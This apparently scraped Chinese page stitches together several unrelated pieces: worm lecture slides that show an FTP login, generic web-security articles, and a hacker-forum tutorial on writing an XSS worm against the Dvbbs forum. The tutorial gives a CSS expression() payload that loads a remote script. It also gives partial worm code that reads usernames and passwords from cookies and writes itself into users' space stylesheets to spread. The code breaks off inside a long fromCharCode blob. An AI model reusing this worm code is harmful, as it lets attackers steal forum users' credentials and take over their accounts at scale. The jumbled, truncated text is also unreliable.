[第30课]由动网xss漏洞浅谈web蠕虫编写
网络蠕虫
淮阴工学院计算机工程系 李笑平 主讲 15
计算机病毒原理及防治
3 蠕虫的基本原理
3.3 蠕虫的传播模型
淮阴工学院计算机工程系 李笑平 主讲 12
对扫描策略的改进
计算机病毒原理及防治
3 蠕虫的基本原理
3.2 蠕虫的工作方式与扫描策略
扫描策略设计的原则
尽量减少重复的扫描，使扫描发送的数据包总量 减少到最小 保证扫描覆盖到尽量大的范围 处理好扫描的时间分布，使得扫描不要集中在某 一时间内发生 怎样找到一个合适的策略需要在考虑以上原则的 前提下进行分析，甚至需要试验验证
虫
系统存在漏洞 (Vulnerability) 主要针对网络上的其它 计算机 程序自身 网络性能、系统性能
计算机使用者角色
防治措施
病毒传播中的关键环节
从宿主程序中摘除
无关
为系统打补丁(Patch)
计算机病毒原理及防治
淮阴工学院计算机工程系
李笑平 主讲
5
1 蠕虫的起源及其定义
1.5 蠕虫定义的进一步说明
计算机病毒原理及防治
主讲：李笑平
ftp://172.17.11.136 用户名：lixiaoping 密码：lixiaoping
网络蠕虫
主要内容
网络蠕虫的定义及其与狭义病毒的区别
蠕虫的分类
蠕虫的工作原理 蠕虫的行为特征
蠕虫的防治
计算机病毒原理及防治
淮阴工学院计算机工程系
常见WEB安全漏洞及整改建议
常见WEB安全漏洞及整改建议随着互联网的迅速发展，WEB应用程序的使用越来越广泛，但通过WEB应用程序进行的信息传输和交互也带来了一系列的安全隐患。
本文将介绍一些常见的WEB安全漏洞，并提供相关的整改建议，以帮助企业提高对WEB安全的保护。
一、跨站脚本攻击（XSS）跨站脚本攻击是一种利用WEB应用程序的漏洞，将恶意脚本注入到页面中，以获取用户信息或者执行其他恶意操作的攻击手段。
为了防止XSS攻击，以下是一些建议：1. 输入验证：对用户输入的数据进行严格的验证和过滤，防止恶意脚本的注入。
2. 输出编码：在将数据输出到页面时，采用正确的编码方式，确保用户输入的内容不会被当作HTML或者JavaScript代码进行解析。
3. Cookie（HttpOnly）：将Cookie标记为HttpOnly，防止恶意脚本通过JavaScript进行读取。
二、跨站请求伪造（CSRF）跨站请求伪造是一种攻击者通过伪造合法用户的请求来执行非法操作的手段。
为了防止CSRF攻击，以下是一些建议：1. 验证来源：在WEB应用程序中添加验证机制，确认请求来源的合法性。
2. 添加Token：在每个表单或者URL中添加一个随机生成的Token，确保请求的合法性。
三、SQL注入攻击SQL注入攻击是一种通过WEB应用程序的输入字段注入恶意的SQL代码来获取或修改数据库中的数据的攻击手段。
为了防止SQL注入攻击，以下是一些建议：1. 输入验证：对用户输入的数据进行严格的验证和过滤，确保输入的数据是符合预期的格式。
2. 参数化查询：使用参数化查询或者存储过程来执行SQL查询，避免将用户输入直接拼接成SQL语句的方式。
四、文件上传漏洞文件上传漏洞是一种攻击者通过上传恶意文件来执行远程代码的手段。
为了防止文件上传漏洞，以下是一些建议：1. 文件类型验证：对文件进行类型检查，确保只允许上传合法的文件类型。
2. 文件名检查：检查文件名是否包含恶意代码，避免执行恶意代码。
xss基本语句
xss基本语句XSS（Cross-SiteScripting）是一种常见的Web攻击，它允许攻击者通过注入恶意脚本来攻击用户，从而窃取用户的敏感信息或者控制用户的浏览器。
在本文中，我们将介绍一些XSS基本语句，帮助您更好地了解XSS攻击及其防范措施。
1. 基本概念XSS攻击是一种利用Web应用程序漏洞的攻击方式，其核心思想是向Web应用程序中注入恶意脚本，从而实现对用户的攻击。
XSS攻击可以分为存储型XSS和反射型XSS两种类型。
存储型XSS攻击是指攻击者将恶意脚本存储在Web服务器上，当用户访问时，恶意脚本会被执行。
反射型XSS攻击是指攻击者将恶意脚本注入到Web应用程序的URL参数中，当用户访问时，恶意脚本会被执行。
2. 常见的XSS攻击方式2.1 HTML注入攻击者可以在Web应用程序中注入HTML代码，从而实现对用户的攻击。
例如，攻击者可以在留言板中输入恶意HTML代码，当其他用户访问留言板时，恶意HTML代码会被执行，从而窃取用户的敏感信息或者控制用户的浏览器。
2.2 JavaScript注入攻击者可以在Web应用程序中注入JavaScript代码，从而实现对用户的攻击。
例如，攻击者可以在搜索框中输入恶意JavaScript代码，当用户搜索时，恶意JavaScript代码会被执行，从而窃取用户的敏感信息或者控制用户的浏览器。
2.3 SQL注入攻击者可以在Web应用程序中注入SQL代码，从而实现对数据库的攻击。
例如，攻击者可以在登录框中输入恶意SQL代码，当用户登录时，恶意SQL代码会被执行，从而窃取用户的敏感信息或者控制用户的浏览器。
3. 防范措施3.1 输入过滤Web应用程序应该对用户输入进行过滤，从而防止恶意代码的注入。
例如，可以使用HTML过滤器、JavaScript过滤器、SQL过滤器等对用户输入进行过滤。
3.2 输出编码Web应用程序应该对输出进行编码，从而防止恶意代码的执行。
Web安全与漏洞攻防技术
Web安全与漏洞攻防技术Web安全是指在互联网应用中保护用户信息和系统数据的一系列措施。
随着互联网的快速发展，Web应用也变得越来越普及，而Web安全问题也日益严重。
黑客们利用各种漏洞进行攻击，给个人和企业带来了巨大损失。
因此，学习和掌握Web安全漏洞攻防技术是至关重要的。
1. 漏洞的种类在深入了解Web安全漏洞攻防技术之前，我们首先需要了解一些常见的漏洞种类。
常见的Web安全漏洞包括：1.1 跨站脚本攻击（XSS）：攻击者通过在Web页面中注入恶意代码，在用户浏览器中执行恶意脚本，获取用户敏感信息。
1.2 SQL注入攻击：攻击者通过在Web应用的输入框中注入SQL语句，从而绕过身份验证，窃取、修改或删除数据库中的数据。
1.3 文件包含漏洞：攻击者通过利用Web应用在加载动态页面时未正确检查用户输入的文件路径，实现任意文件读取或执行恶意代码。
1.4 跨站请求伪造（CSRF）攻击：攻击者利用用户对网站的信任，通过伪造请求，以用户的身份执行恶意操作。
1.5 点击劫持攻击：攻击者通过隐藏或透明化的方式在正常页面上覆盖一个恶意页面，当用户点击时执行恶意操作。
这仅仅是一些常见的漏洞类型，实际上还有许多其他类型的漏洞。
了解这些漏洞的种类，有助于我们更好地理解Web安全问题的本质。
2. Web安全防御技术为了保护Web应用免受攻击，我们需要采取一系列防御措施。
以下是一些常见的Web安全防御技术：2.1 输入验证：对用户输入的数据进行验证，确保其符合预期的格式和范围，以防止SQL注入、XSS等攻击。
2.2 输出编码：对从数据库或其他来源检索到的数据进行编码，以防止XSS攻击。
2.3 访问控制：基于用户角色和权限设置访问控制，限制非授权用户对系统资源的访问。
2.4 密码安全：采用加密算法对用户密码进行存储，确保用户密码的安全性。
2.5 安全的会话管理：采用安全的会话标识和Cookie管理机制，防止会话劫持和重放攻击。
XSS的高级利用部分总结 -蠕虫
如果你还未具备基础XSS知识,以下几个文章建议拜读:
/chinese/INTERNET/JavaScript/ JavaScript中文简介
/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
..........
复制代码------------------------------------------介绍-------------------------------------------------------------
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
if(_m=="POST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
XSS漏洞攻击原理与解决办法
XSS漏洞攻击原理与解决办法对于的⽤户输⼊中出现XSS漏洞的问题，主要是由于开发⼈员对XSS了解不⾜，安全的意识不够造成的。
现在让我们来普及⼀下XSS的⼀些常识，以后在开发的时候，每当有⽤户输⼊的内容时，都要加倍⼩⼼。
请记住两条原则：过滤输⼊和转义输出。
⼀、什么是XSSXSS⼜叫CSS (Cross Site Script) ，跨站脚本攻击。
它指的是恶意攻击者往Web页⾯⾥插⼊恶意html代码，当⽤户浏览该页之时，嵌⼊其中Web⾥⾯的html代码会被执⾏，从⽽达到恶意的特殊⽬的。
XSS属于被动式的攻击，因为其被动且不好利⽤，所以许多⼈常呼略其危害性。
在WEB2.0时代，强调的是互动，使得⽤户输⼊信息的机会⼤增，在这个情况下，我们作为开发者，在开发的时候，要提⾼警惕。
⼆、XSS攻击的主要途径XSS攻击⽅法只是利⽤HTML的属性，作各种的尝试，找出注⼊的⽅法。
现在对三种主要⽅式进⾏分析。
第⼀种：对普通的⽤户输⼊，页⾯原样内容输出。
打开/goproducttest/test.jsp(限公司IP)，输⼊：第⼆种：在代码区⾥有⽤户输⼊的内容原则就是，代码区中，绝对不应含有⽤户输⼊的东西。
第三种：允许⽤户输⼊HTML标签的页⾯。
三、XSS攻击解决办法请记住两条原则：过滤输⼊和转义输出。
具体执⾏的⽅式有以下⼏点：第⼀、在输⼊⽅⾯对所有⽤户提交内容进⾏可靠的输⼊验证，提交内容包括URL、查询关键字、http头、post数据等第⼆、在输出⽅⾯，在⽤户输内容中使⽤标签。
标签内的内容不会解释，直接显⽰。
第三、严格执⾏字符输⼊字数控制。
四、在脚本执⾏区中，应绝⽆⽤户输⼊。
web安全攻防总结
web安全攻防总结
随着互联网的发展,网络安全问题越来越受到重视。
作为应用的前端,如何进行有效的安全攻防对我们都很重要。
本文将总结一些常见的漏洞以及如何进行防御:
注入:这是安全最著名也最常见的问题之一。
它发生在应用拼接语句而没有对用户输入进行过滤和验证。
防御方法是使用参数化查询和输入验证。
攻击:跨站脚本攻击可能导致劫持或。
它的发生原因也是没有对用户输入进行过滤。
防御方法是输出编码和使用(内容安全策略)。
命令注入:当应用将用户输入直接用于操作系统命令行时,可能导致命令注入攻击。
防御方法是禁用函数,使用沙箱或仅允许特定命令。
文件上传漏洞:当文件上传功能没有限制文件类型或路径,可能被利用通过等方式获取服务器权限。
防御方法是限制文件类型和上传路径。
和管理问题:如果找回密码或会话管理出问题,例如可以恢复任意用户的密码或窃取会话号,也会面临很大安全隐患。
这里需要对相关功能进行限制和加强。
跨站请求伪造和重放攻击:对登录页和敏感操作需要增加验证以防。
同时需要对请求设置授权或使用来防止重放攻击。
定期更新软件,限制工具访问,加强边界防御等基础设施防御措施,也非
常重要。
只有全面防御,才能更好地抵御安全威胁。
xss使用方法
xss使用方法
XSS（跨站脚本攻击）是一种常见的网络攻击手段，攻击者通过在网页中注入恶意脚本，来获取用户的敏感信息，如cookie等。
以下是一些XSS攻击的常见使用方法：
1. 反射型XSS：反射型XSS是指攻击者将恶意脚本注入到网页中，当用户访问该网页时，浏览器会执行恶意脚本并将用户的敏感信息发送给攻击者。
攻击者可以通过构造恶意链接，诱导用户点击，从而获取用户的敏感信息。
2. 存储型XSS：存储型XSS是指攻击者在网页中注入恶意脚本，并将恶意脚本存储在数据库或文件中。
当其他用户访问该网页时，浏览器会执行恶意脚本并将用户的敏感信息发送给攻击者。
攻击者可以在网页中留下恶意代码，或者通过社交工程等方式诱导用户访问恶意网页。
3. DOM型XSS：DOM型XSS是指攻击者通过修改网页的DOM（文档对象模型）结构，来注入恶意脚本。
当用户访问该网页时，浏览器会执行恶意脚本并将用户的敏感信息发送给攻击者。
攻击者可以通过构造特定的URL参数或利用第三方脚本注入等方式，来触发DOM型XSS攻击。
为了防范XSS攻击，开发人员应该对所有用户输入进行验证和过滤，避免将用户输入直接嵌入到网页中。
同时，开发人员还应该使用内容安全策略（CSP）
等安全机制来限制网页中的脚本执行。
对于用户来说，应该避免点击来历不明的链接或下载来历不明的文件，以免遭受XSS攻击。
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由动网xss漏洞浅谈web蠕虫编写By 幻泉今天我们跳出php漏洞的讲解做了这节课，为了给各位初学会员一个对xss基本的认识。
本次课程简单的说只是个砖头，为了吸引各位的玉玉。
希望大家不吝赐教。
本次课程讲解的内容有：什么是xss蠕虫一个xss蠕虫都有什么基本功能如何编写一个xss蠕虫Xss蠕虫的延伸发展什么是xss蠕虫大家在接触黑客的时候想必也和我一样了解一些蠕虫病毒，比如前几年比较猖獗的熊猫烧香，还有最近Conficker蠕虫。
这些蠕虫的特性都是具有自传播，感染，变形等。
最近流行的猪流感按照理论也算蠕虫病毒。
（这里是医学界的，不要误会啊，呵呵。
）而近年来由于ajax流行，web2.0的一些特性，使得web蠕虫流行。
任何一个蠕虫都不无原缘无故发作的，比如熊猫烧香是利用挂马，远程扫描等方式感染的，而这归根结底还是系统有漏洞。
那么web蠕虫的切入点就是web有漏洞了。
从03 年脚本入侵流行一来，sql注射就是最流行的入侵方式，但是由于现在人们的安全意识的提高，sql漏洞越来越少，xss的漏洞就开始凸显出来，而xss可以使我们嵌入任意我们需要的代码，比如盗个cookie等，当别人访问的时候会吧自己的发送到你指定的文件里去。
（我这里只是简单说下如果想了解更多可以百度下）一个xss蠕虫都有什么基本功能之前在说熊猫烧香之类的蠕虫病毒已经说过了这个内容，传播感染和变形，而现在web蠕虫先不用发展那么高级，而我们只需要写出传播和感染就行，至于变形，除非漏洞被过滤了我们还需要绕过那么就需要一定得变形，而这种变形一般不会影响我们写的蠕虫文件，会影响到调用蠕虫文件的代码。
如何编写一个xss蠕虫本次课程以动网xss跨站为例。
（由于代码过多我只讲解部分。
针对跨站的一些资料我已经整理出来大部分了，大家可以看看/woshihuanquan/blog/category/Xss）body {xss:expression(function a(){var x =document.createElement('SCRIPT');x.src='http://localhost:81/js.js';x.defer = true;document.getElementsByTagName('HEAD')[0].appendChild(x)}functioninject(){window.setTimeout('a()',1000)}if(window.x!=1){window.x=1;inject()});} Code://作者：幻泉[B.S.N]//由于第一次写蠕虫所以代码很不规范//有很多bug正在修改中。
//传播过程没写完。
//alert(document.cookie);// JavaScript Documentvar http = "http://localhost:81";//定义当前论坛URLvar worm ="body {xss:expression(function a(){var x =document.createElement('SCRIPT');x.src='http://localhost:81/js.js';x.defer = true;document.getElementsByTagName('HEAD')[0].appendChild(x)}functioninject(){window.setTimeout('a()',1000)}if(window.x!=1){window.x=1;inject()});}";//主函数function mainhack(){//获取用户名var username="username";username = getcookie(username,"&");//判断用户是不是已经访问了// if(document.cookie.indexOf('huan')==-1){//判断是不是本站用户if(username!=""){//获取用户idvar userid="userid";userid = getcookie(userid,"&");//获取用户密码var password="password";password = getcookie(password,"&");//alert('hi,' + username + "," + userid + "," + password);//弹出用户名密码还有id//提交css地址var css = "/userspace.asp?sid=" + userid;var css1 = http + "/userspace.asp?act=saveedit"; //alert(css);//判断样式风格CSS是否为默认cssmodify = http + css + "&act=modifyskin";//alert(cssmodify);s=getdata(cssmodify);//获取当前css内容rs1 = "<textarea name=\"s_css\" id=\"s_css\"style=\"width:98%;height:80px;\">";rs2 = "</textarea>";cssstr = searchstr(rs1,rs2,s,65);//获取css内容if(cssstr.indexOf("xss") == -1){//判断是否已经感染没感染则执行下面代码感染那么就跳过。
/////////////////////////////////////////////////////////////////感染代码cssedit = http + css + "&act=saveskin";//alert(cssedit);csseditdata1 = "skinname=&addtoskins=0&s_css="; csseditdata3 = escape(strtostr(worm));csseditdata4 ="&submit=%B1%A3+%B4%E6+%C9%E8+%D6%C3";if(cssstr != ""){//如果用户的自定义css开启了那么我们就直接编辑csscsseditdata2 = escape(strtostr(cssstr)); csseditdata = csseditdata1 + csseditdata2 + csseditdata3 + csseditdata4;csspost = postdata(cssedit,csseditdata); //alert(csspost);}else{var postcssdata = "addleft=userinfo&addmain=usertopic&dragsubmit=%B1%A3%B4%E6%C9%E8%D6%C3&styleid=& stylepath=default01%2F&layoutset=1&layoutleft=userinfo&layoutmain=usertopic&layoutright=&spacetitle=%B1%EA%CC%E2&spaceintro=%BC%F2%BD%E9%2F%CB%B5%C3%F7";cssdata =postdata(css1,postcssdata);//alert(cssdata);cssstr=String.fromCharC ode(47,42,32,20840,23616,23450,20041,32,42,47,13,10,98,111,100,121,44,32,116,100, 44,116,104,32,123,13,10,9,102,111,110,116,45,102,97,109,105,108,121,58,65,114,105 ,97,108,44,32,72,101,108,118,101,116,105,99,97,44,32,115,97,110,115,45,115,101,11 4,105,102,59,102,111,110,116,45,115,105,122,101,58,49,50,112,120,59,108,105,110,1 01,45,104,101,105,103,104,116,32,58,32,110,111,114,109,97,108,59,13,10,125,13,10, 98,111,100,121,32,123,13,10,9,109,97,114,103,105,110,58,32,48,59,13,10,9,116,101, 120,116,45,97,108,105,103,110,58,32,99,101,110,116,101,114,59,13,10,9,112,97,100, 100,105,110,103,58,48,59,13,10,9,99,111,108,111,114,58,32,119,104,105,116,101,59, 13,10,9,98,97,99,107,103,114,111,117,110,100,58,35,52,52,66,54,70,65,32,117,114,1 08,40,112,97,103,101,95,98,103,46,103,105,102,41,32,114,101,112,101,97,116,45,120 ,32,116,111,112,32,108,101,102,116,59,13,10,125,13,10,13,10,97,32,123,13,10,9,99, 111,108,111,114,58,32,119,104,105,116,101,59,13,10,9,116,101,120,116,45,100,101,9 9,111,114,97,116,105,111,110,58,32,117,110,100,101,114,108,105,110,101,59,13,10,1 25,13,10,97,58,118,105,115,105,116,101,100,32,123,13,10,9,99,111,108,111,114,58,3 2,119,104,105,116,101,59,13,10,125,13,10,97,58,104,111,118,101,114,32,123,13,10,9 ,99,111,108,111,114,58,32,119,104,105,116,101,59,13,10,9,116,101,120,116,45,100,1 01,99,111,114,97,116,105,111,110,58,32,117,110,100,101,114,108,105,110,101,59,13, 10,125,13,10,117,108,32,123,13,10,9,109,97,114,103,105,110,58,32,48,112,120,59,13 ,10,9,112,97,100,100,105,110,103,58,32,48,112,120,59,13,10,125,13,10,105,109,103, 32,123,98,111,114,100,101,114,58,32,110,111,110,101,59,125,13,10,46,115,112,97,99 ,101,123,99,108,101,97,114,58,98,111,116,104,59,125,13,10,46,98,117,116,116,111,1 10,123,13,10,9,98,111,114,100,101,114,58,50,112,120,32,111,117,116,115,101,116,32 ,35,57,56,66,66,68,55,59,32,98,97,99,107,103,114,111,117,110,100,58,35,69,70,70,5 4,70,66,59,32,99,117,114,115,111,114,32,58,32,112,111,105,110,116,101,114,59,13,1 0,125,13,10,116,97,98,108,101,44,100,105,118,44,108,105,123,13,10,9,119,111,114,1 00,45,119,114,97,112,32,58,32,98,114,101,97,107,45,119,111,114,100,32,59,119,111, 114,100,45,98,114,101,97,107,32,58,32,98,114,101,97,107,45,97,108,108,32,59,13,10 ,125,13,10,116,97,98,108,101,46,115,112,97,99,101,116,97,98,108,101,123,13,10,9,1 16,101,120,116,45,97,108,105,103,110,58,108,101,102,116,59,13,10,9,99,111,108,111 ,114,58,35,48,48,48,59,13,10,9,119,105,100,116,104,58,57,56,37,59,13,10,13,10,125 ,13,10,116,104,123,13,10,9,98,97,99,107,103,114,111,117,110,100,58,117,114,108,40 ,34,98,103,49,46,103,105,102,34,41,32,35,53,54,57,67,70,67,59,13,10,9,104,101,105 ,103,104,116,58,50,52,112,120,59,13,10,9,108,105,110,101,45,104,101,105,103,104,1 16,58,50,52,112,120,59,13,10,9,98,111,114,100,101,114,58,49,112,120,32,115,111,10 8,105,100,32,35,53,53,57,65,69,52,59,13,10,125,13,10,116,97,98,108,101,46,115,112 ,97,99,101,116,97,98,108,101,32,116,104,123,13,10,9,99,111,108,111,114,58,119,104 ,105,116,101,59,13,10,9,104,101,105,103,104,116,58,50,48,112,120,59,13,10,9,116,1 01,120,116,45,105,110,100,101,110,116,58,49,53,112,120,59,13,10,125,13,10,13,10,1 16,97,98,108,101,46,115,112,97,99,101,116,111,112,105,99,32,116,104,123,13,10,9,99,111,108,111,114,58,119,104,105,116,101,59,13,10,9,104,101,105,103,104,116,58,50 ,48,112,120,59,13,10,125,13,10,116,97,98,108,101,46,115,112,97,99,101,116,111,112 ,105,99,32,97,44,116,100,123,13,10,9,99,111,108,111,114,58,35,48,48,48,59,13,10,1 25,13,10,116,97,98,108,101,46,115,112,97,99,101,116,111,112,105,99,32,97,58,118,1 05,115,105,116,101,100,44,116,97,98,108,101,46,115,112,97,99,101,116,111,112,105, 99,32,97,58,104,111,118,101,114,123,13,10,9,99,111,108,111,114,58,35,48,48,52,50, 56,52,59,13,10,125,13,10,46,98,111,114,100,101,114,48,123,32,112,97,100,100,105,1 10,103,45,116,111,112,58,52,112,120,59,13,10,125,13,10,46,98,111,114,100,101,114, 49,123,13,10,9,98,111,114,100,101,114,45,98,111,116,116,111,109,58,49,112,120,32, 32,100,111,116,116,101,100,32,103,114,97,121,59,32,104,101,105,103,104,116,58,50, 50,112,120,59,32,108,105,110,101,45,104,101,105,103,104,116,58,50,50,112,120,59,1 3,10,125,13,10,46,98,111,114,100,101,114,50,123,13,10,9,98,97,99,107,103,114,111, 117,110,100,45,99,111,108,111,114,58,35,68,53,69,65,70,54,59,13,10,9,98,111,114,1 00,101,114,45,98,111,116,116,111,109,58,49,112,120,32,32,100,111,116,116,101,100, 32,103,114,97,121,59,13,10,9,32,108,105,110,101,45,104,101,105,103,104,116,58,50, 50,112,120,59,13,10,125,13,10,13,10,13,10,47,42,32,39029,38754,23485,24230,35774, 32622,32,42,47,13,10,35,116,111,112,44,35,104,101,97,100,44,35,109,101,110,117,11 5,44,35,102,111,111,116,101,114,44,35,115,112,97,99,101,109,97,105,110,13,10,123, 13,10,9,109,97,114,103,105,110,58,48,32,97,117,116,111,59,13,10,9,109,105,110,45, 119,105,100,116,104,58,32,55,54,48,112,120,59,13,10,9,119,105,100,116,104,58,32,5 7,53,50,112,120,59,13,10,125,13,10,13,10,47,42,32,39029,38754,24038,21491,36793,2 6694,35774,32622,32,42,47,13,10,100,105,118,46,108,101,102,116,44,100,105,118,46, 114,105,103,104,116,123,13,10,9,98,97,99,107,103,114,111,117,110,100,45,99,111,10 8,111,114,58,35,51,51,57,57,67,67,59,13,10,9,119,105,100,116,104,58,51,112,120,59 ,13,10,9,104,101,105,103,104,116,58,32,49,48,48,37,59,13,10,125,13,10,13,10,47,42 ,32,39030,37096,20449,24687,32,42,47,13,10,35,116,111,112,123,13,10,9,109,97,114, 103,105,110,45,116,111,112,58,55,112,120,59,13,10,9,104,101,105,103,104,116,58,32 ,49,56,112,120,59,13,10,9,112,97,100,100,105,110,103,58,48,112,120,59,13,10,9,99, 111,108,111,114,58,119,104,105,116,101,59,13,10,9,47,42,13,10,9,98,97,99,107,103, 114,111,117,110,100,45,99,111,108,111,114,58,32,35,51,51,57,57,67,67,59,13,10,9,9 8,111,114,100,101,114,45,98,111,116,116,111,109,58,49,112,120,32,115,111,108,105, 100,32,119,104,105,116,101,59,13,10,9,42,47,13,10,125,13,10,35,116,111,112,32,100 ,105,118,46,108,101,102,116,123,102,108,111,97,116,58,32,108,101,102,116,59,119,1 05,100,116,104,58,48,112,120,59,125,13,10,35,116,111,112,32,100,105,118,46,114,10 5,103,104,116,123,102,108,111,97,116,58,114,105,103,104,116,59,119,105,100,116,10 4,58,48,112,120,59,125,13,10,35,116,111,112,32,100,105,118,46,99,101,110,116,101, 114,123,13,10,9,104,101,105,103,104,116,58,49,53,112,120,59,13,10,9,108,105,110,1 01,45,104,101,105,103,104,116,58,49,53,112,120,59,13,10,9,102,108,111,97,116,58,3 2,108,101,102,116,59,13,10,9,116,101,120,116,45,97,108,105,103,110,58,32,114,105, 103,104,116,59,13,10,9,119,105,100,116,104,58,32,57,56,37,59,13,10,125,13,10,47,4 2,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,4 5,45,45,45,45,45,45,32,42,47,13,10,13,10,47,42,32,39030,37096,32,42,47,13,10,35,1 04,101,97,100,123,13,10,9,104,101,105,103,104,116,58,32,54,48,112,120,59,13,10,9, 112,97,100,100,105,110,103,58,48,112,120,59,13,10,9,99,111,108,111,114,58,119,104111,108,111,114,58,35,53,54,57,67,70,67,59,13,10,9,42,47,13,10,125,13,10,13,10,35 ,104,101,97,100,32,100,105,118,46,108,101,102,116,123,102,108,111,97,116,58,108,1 01,102,116,59,119,105,100,116,104,58,48,112,120,59,125,13,10,35,104,101,97,100,32 ,100,105,118,46,114,105,103,104,116,123,102,108,111,97,116,58,114,105,103,104,116 ,59,119,105,100,116,104,58,48,112,120,59,125,13,10,35,104,101,97,100,32,100,105,1 18,46,99,101,110,116,101,114,123,13,10,9,109,97,114,103,105,110,58,53,112,120,32, 49,48,112,120,32,53,112,120,32,49,48,112,120,59,13,10,9,102,108,111,97,116,58,32, 108,101,102,116,59,13,10,9,116,101,120,116,45,97,108,105,103,110,58,32,108,101,10 2,116,59,13,10,9,119,105,100,116,104,58,32,57,56,37,59,13,10,125,13,10,35,104,101 ,97,100,32,100,105,118,46,99,101,110,116,101,114,32,46,116,105,116,108,101,123,13 ,10,9,102,111,110,116,45,115,105,122,101,58,32,49,54,112,120,59,13,10,9,102,111,1 10,116,45,119,101,105,103,104,116,58,98,111,108,100,59,13,10,9,104,101,105,103,10 4,116,58,51,48,112,120,59,13,10,9,108,105,110,101,45,104,101,105,103,104,116,58,5 1,48,112,120,59,13,10,9,111,118,101,114,102,108,111,119,58,32,104,105,100,100,101 ,110,59,32,109,97,114,103,105,110,58,48,112,120,59,32,112,97,100,100,105,110,103, 58,48,112,120,59,13,10,125,13,10,35,104,101,97,100,32,100,105,118,46,99,101,110,1 16,101,114,32,46,105,110,116,114,111,123,13,10,9,119,105,100,116,104,58,32,49,48, 48,37,59,32,104,101,105,103,104,116,58,50,48,112,120,59,32,109,97,114,103,105,110 ,58,48,112,120,59,32,112,97,100,100,105,110,103,58,48,112,120,59,13,10,125,13,10, 13,10,13,10,47,42,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45, 45,45,45,45,45,45,45,45,45,45,45,45,32,42,47,13,10,13,10,47,42,32,23548,33322,370 96,20221,32,42,47,13,10,35,109,101,110,117,115,123,13,10,9,98,111,114,100,101,114 ,45,98,111,116,116,111,109,58,48,112,120,32,115,111,108,105,100,32,35,51,51,57,57 ,67,67,59,13,10,9,104,101,105,103,104,116,58,32,51,48,112,120,32,33,105,109,112,1 11,114,116,97,110,116,59,13,10,9,104,101,105,103,104,116,58,32,50,57,112,120,59,1 3,10,125,13,10,35,109,101,110,117,115,32,100,105,118,46,108,101,102,116,123,102,1 08,111,97,116,58,108,101,102,116,59,119,105,100,116,104,58,48,112,120,59,125,13,1 0,35,109,101,110,117,115,32,100,105,118,46,114,105,103,104,116,123,102,108,111,97 ,116,58,114,105,103,104,116,59,119,105,100,116,104,58,48,112,120,59,125,13,10,35, 109,101,110,117,115,32,100,105,118,46,99,101,110,116,101,114,123,13,10,9,102,108, 111,97,116,58,108,101,102,116,59,13,10,9,108,105,110,101,45,104,101,105,103,104,1 16,58,110,111,114,109,97,108,59,13,10,13,10,125,13,10,35,109,101,110,117,115,32,1 17,108,123,13,10,9,112,97,100,100,105,110,103,58,48,112,120,32,53,48,112,120,32,4 8,32,48,112,120,59,13,10,9,108,105,115,116,45,115,116,121,108,101,58,110,111,110, 101,59,13,10,125,13,10,35,109,101,110,117,115,32,108,105,123,13,10,9,109,97,114,1 03,105,110,58,48,59,13,10,9,112,97,100,100,105,110,103,58,48,59,13,10,9,102,108,1 11,97,116,58,114,105,103,104,116,59,13,10,125,13,10,35,109,101,110,117,115,32,108 ,105,32,97,123,13,10,9,47,42,98,97,99,107,103,114,111,117,110,100,58,117,114,108, 40,34,109,101,110,117,108,101,102,116,46,103,105,102,34,41,32,110,111,45,114,101, 112,101,97,116,32,108,101,102,116,32,116,111,112,59,42,47,13,10,9,116,101,120,116 ,45,100,101,99,111,114,97,116,105,111,110,58,110,111,110,101,59,13,10,125,13,10,3 5,109,101,110,117,115,32,108,105,32,97,32,115,112,97,110,123,13,10,9,109,97,114,1 03,105,110,45,116,111,112,58,49,112,120,59,13,10,9,109,97,114,103,105,110,45,108,104,105,116,101,59,13,10,9,98,111,114,100,101,114,58,50,112,120,32,115,111,108,10 5,100,32,35,48,56,54,66,65,66,59,13,10,9,98,111,114,100,101,114,45,98,111,116,116 ,111,109,58,48,112,120,59,13,10,9,47,42,98,97,99,107,103,114,111,117,110,100,58,1 17,114,108,40,34,109,101,110,117,114,105,103,104,116,46,103,105,102,34,41,32,110, 111,45,114,101,112,101,97,116,32,114,105,103,104,116,32,116,111,112,59,42,47,13,1 0,9,112,97,100,100,105,110,103,58,56,112,120,32,56,112,120,32,52,112,120,32,56,11 2,120,59,13,10,32,32,32,32,99,111,108,111,114,58,35,48,48,54,55,65,57,59,13,10,9, 100,105,115,112,108,97,121,58,98,108,111,99,107,59,13,10,125,13,10,13,10,47,42,32 ,67,111,109,109,101,110,116,101,100,32,66,97,99,107,115,108,97,115,104,32,72,97,9 9,107,32,104,105,100,101,115,32,114,117,108,101,32,102,114,111,109,32,73,69,53,45 ,77,97,99,32,92,42,47,13,10,35,109,101,110,117,115,32,108,105,32,97,32,115,112,97 ,110,32,123,102,108,111,97,116,58,110,111,110,101,59,125,13,10,32,47,42,32,69,110 ,100,32,73,69,53,45,77,97,99,32,104,97,99,107,32,42,47,13,10,13,10,13,10,47,42,45 ,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45 ,45,45,45,45,45,32,42,47,13,10,47,42,32,31649,29702,24037,20855,26679,24335,32,42 ,47,13,10,35,115,112,97,99,101,116,111,111,108,123,13,10,9,104,101,105,103,104,11 6,58,56,48,112,120,59,13,10,9,119,105,100,116,104,58,57,54,37,59,13,10,9,109,97,1 14,103,105,110,58,48,32,97,117,116,111,59,13,10,9,99,108,101,97,114,58,98,111,116 ,104,59,9,13,10,125,13,10,35,115,112,97,99,101,116,111,111,108,32,116,97,98,108,1 01,123,13,10,9,98,97,99,107,103,114,111,117,110,100,45,99,111,108,111,114,58,35,7 0,70,70,70,67,49,59,13,10,9,98,111,114,100,101,114,58,49,112,120,32,100,97,115,10 